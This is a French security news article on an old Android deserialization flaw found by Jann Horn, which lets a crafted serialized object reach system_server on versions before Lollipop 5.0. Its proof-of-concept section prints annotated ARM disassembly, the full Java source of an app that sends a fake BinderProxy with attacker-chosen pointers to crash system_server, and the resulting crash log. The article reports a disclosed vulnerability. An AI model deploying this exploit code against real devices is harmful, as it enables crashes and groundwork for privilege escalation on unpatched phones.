Vulnérabilités Android · 6 min read · Jan 31, 2026

Une négligence des créateurs d'Android laisse presque tous les appareils Android fabriqués jusqu'à présent vulnérables

Table des matières

  • Une négligence des créateurs d’Android laisse presque tous les appareils Android fabriqués jusqu’à présent vulnérables
  • Défaut de sérialisation
  • Motivation
  • Preuve de concept

Une négligence des créateurs d’Android laisse presque tous les appareils Android fabriqués jusqu’à présent vulnérables

Jann Horn, un chercheur, a découvert une preuve de concept d’une vulnérabilité dans Android qui pourrait permettre à un attaquant novice d’attaquer le système très facilement. Apparemment, cette vulnérabilité était une négligence des développeurs lors de la création de la version initiale d’Android et elle n’a jamais été corrigée. Après que Horn a rendu le trou de sécurité public, Google a publié un correctif, mais celui-ci n’est disponible que dans la dernière version d’Android Lollipop 5.0. Cela signifie que tous les appareils Android sous le soleil fonctionnant sur une version d’Android antérieure à Lollipop 5.0 sont vulnérables à ce défaut d’escalade de privilèges.

Défaut de sérialisation

La sérialisation est un processus par lequel les données d’une application sont converties en octets et stockées sur un support physique. L’inverse, la désérialisation, est le processus de conversion de ces données en matière utile pour l’application. Comme vous pouvez l’imaginer, c’est un processus très important pour toute application, surtout pour la prise de sauvegardes. “Le service système Android s’exécute sous l’UID 1000 et peut changer dans le contexte de n’importe quelle application, installer de nouvelles applications avec des permissions arbitraires, etc.,” explique Horn.

En termes simples, Android n’a aucun mécanisme pour vérifier si les données qui lui sont fournies lors de la désérialisation proviennent d’une source de confiance ou non. Ainsi, un attaquant peut entrer ses propres données dans le système en exploitant cette faille. Pour ceux d’entre vous qui sont plus techniquement enclins, “java.io.ObjectInputStream” est la méthode qui peut être exploitée.

Motivation

Horn a eu l’idée qu’une telle vulnérabilité pouvait exister après avoir assisté à une conférence universitaire sur les vulnérabilités des applications web PHP. Il a supposé que les développeurs d’Android avaient également dû faire une erreur similaire et oublié de mettre en place un contrôle de sécurité. Il s’est avéré que ses suppositions étaient correctes lorsqu’il est revenu et a recherché le système d’exploitation. Et heureusement, il a décidé d’informer l’équipe Android à ce sujet au lieu de l’exploiter. Les développeurs ont probablement manqué le défaut car ce n’est pas quelque chose que l’on teste réellement.

La bonne nouvelle est que le défaut ne peut pas être utilisé directement en raison des restrictions intégrées d’Android sur les privilèges. Ainsi, un attaquant est contraint d’utiliser une autre vulnérabilité avant de pouvoir utiliser celle-ci. L’équipe Android a publié un correctif pour le défaut plus tôt en novembre dans le cadre de la publication du code AOSP (Android Open Source Project). Mais comme nous l’avons mentionné, ce correctif est uniquement pour Android 5.0 Lollipop. Et puisque l’environnement Android est tellement fragmenté, nous ne pouvons pas savoir avec certitude si le correctif atteindra un appareil autre que ceux de la série Nexus.

Preuve de concept

L’ensemble de la PoC est donné ci-dessous :

La classe android.os.BinderProxy contient une méthode finalize qui appelle du code natif. Ce code natif utilisera ensuite les valeurs de deux champs de type int/long (selon la version d’Android), les castant en pointeurs et les suivant. Sur Android 4.4.3, c’est là que l’un de ces pointeurs se retrouve. r0 contient le pointeur fourni par l’attaquant, et si l’attaquant peut insérer des données dans le processus à une adresse connue, il finit par obtenir une exécution de code arbitraire dans system_server : # l’attaquant contrôle le pointeur dans r0 0000d1c0 ) const>: d1c0: b570 push {r4, r5, r6, lr} d1c2: 4605 mov r5, r0 d1c4: 6844 ldr r4, [r0, #4] # l’attaquant contrôle r4 d1c6: 460e mov r6, r1 d1c8: 4620 mov r0, r4 d1ca: f7fd e922 blx a410 d1ce: 2801 cmp r0, #1 d1d0: d10b bne.n d1ea ) const+0x2a> d1d2: 68a0 ldr r0, [r4, #8] # l’attaquant contrôle r0 d1d4: 4631 mov r1, r6 d1d6: 6803 ldr r3, [r0, #0] # l’attaquant contrôle r3 d1d8: 68da ldr r2, [r3, #12] # l’attaquant contrôle r2 d1da: 4790 blx r2 # saut dans le pointeur r2 contrôlé par l’attaquant Android a effectivement ASLR, mais comme toutes les applications, system_server est forké à partir du processus zygote – en d’autres termes, toutes les applications ont la même disposition de mémoire de base que system_server et devraient donc être capables de contourner l’ASLR de system_server. Voici mon code PoC de crash. Mettez-le dans une application Android, installez cette application, ouvrez-la. Si rien ne se passe, le GC pourrait prendre son temps – essayez de faire d’autres choses ou de rouvrir l’application PoC ou autre. Votre appareil devrait faire quelque chose comme un redémarrage après quelques secondes. =============================================================================== package net.thejh.badserial; import java.io.Serializable; import java.io.UnsupportedEncodingException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import dalvik.system.DexClassLoader; import android.app.Activity; import android.content.Context; import android.os.Bundle; import android.os.IBinder; import android.os.Parcel; import android.os.UserHandle; import android.os.UserManager; import android.util.Log; public class MainActivity extends Activity { private static final java.lang.String DESCRIPTOR = “android.os.IUserManager”; private Class clStub; private Class clProxy; private int TRANSACTION_setApplicationRestrictions; private IBinder mRemote; public void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int userHandle) throws android.os.RemoteException { android.os.Parcel _data = android.os.Parcel.obtain(); android.os.Parcel _reply = android.os.Parcel.obtain(); try { _data.writeInterfaceToken(DESCRIPTOR); _data.writeString(packageName); _data.writeInt(1); restrictions.writeToParcel(_data, 0); _data.writeInt(userHandle); byte[] data = _data.marshall(); for (int i=0; true; i++) { if (data[i] == ‘A’ && data[i+1] == ‘A’ && data[i+2] == ‘d’ && data[i+3] == ‘r’) { data[i] = ‘a’; data[i+1] = ‘n’; break; } } _data.recycle(); _data = Parcel.obtain(); _data.unmarshall(data, 0, data.length); mRemote.transact(TRANSACTION_setApplicationRestrictions, _data, _reply, 0); _reply.readException(); } finally { _reply.recycle(); _data.recycle(); } } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); Log.i(“badserial”, “démarrage… (v3)”); Context ctx = getBaseContext(); try { Bundle b = new Bundle(); AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy(); b.putSerializable(“eatthis”, evilProxy); Class clIUserManager = Class.forName(“android.os.IUserManager”); Class[] umSubclasses = clIUserManager.getDeclaredClasses(); System.out.println(umSubclasses.length+” classes internes trouvées”); Class clStub = null; for (Class c: umSubclasses) { System.out.println(“classe interne : “+c.getCanonicalName()); if (c.getCanonicalName().equals(“android.os.IUserManager.Stub”)) { clStub = c; } } Field fTRANSACTION_setApplicationRestrictions = clStub.getDeclaredField(“TRANSACTION_setApplicationRestrictions”); fTRANSACTION_setApplicationRestrictions.setAccessible(true); TRANSACTION_setApplicationRestrictions = fTRANSACTION_setApplicationRestrictions.getInt(null); UserManager um = (UserManager) ctx.getSystemService(Context.USER_SERVICE); Field fService = UserManager.class.getDeclaredField(“mService”); fService.setAccessible(true); Object proxy = fService.get(um); Class[] stSubclasses = clStub.getDeclaredClasses(); System.out.println(stSubclasses.length+” classes internes trouvées”); clProxy = null; for (Class c: stSubclasses) { System.out.println(“classe interne : “+c.getCanonicalName()); if (c.getCanonicalName().equals(“android.os.IUserManager.Stub.Proxy”)) { clProxy = c; } } Field fRemote = clProxy.getDeclaredField(“mRemote”); fRemote.setAccessible(true); mRemote = (IBinder) fRemote.get(proxy); UserHandle me = android.os.Process.myUserHandle(); setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode()); Log.i(“badserial”, “attente d’une explosion ici et dans le service système…”); } catch (Exception e) { throw new RuntimeException(e); } } }

package AAdroid.os; import java.io.Serializable; public class BinderProxy implements Serializable { private static final long serialVersionUID = 0; public long mObject = 0x1337beef; public long mOrgue = 0x1337beef; }

C’est ce que vous devriez voir dans le journal système : F/libc ( 382): Signal fatal 11 (SIGSEGV) à 0x1337bef3 (code=1), thread 391 (FinalizerDaemon) […]
I/DEBUG ( 47): pid: 382, tid: 391, nom: FinalizerDaemon >>> system_server <<<
I/DEBUG ( 47): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), adresse de faute 1337bef3
I/DEBUG ( 47): r0 1337beef r1 b6de7431 r2 b6ee035c r3 81574845
I/DEBUG ( 47): r4 b6de7431 r5 1337beef r6 b7079ec8 r7 1337beef
I/DEBUG ( 47): r8 1337beef r9 abaf5f68 sl b7056678 fp a928bb04
I/DEBUG ( 47): ip b6e1e8c8 sp a928bac8 lr b6de63d9 pc b6e6c15e cpsr 60000030

Ressource : Secure List

Share: X/Twitter LinkedIn

Recevez de nouveaux articles dans votre boîte de réception.

Aucun spam. Désabonnez-vous à tout moment.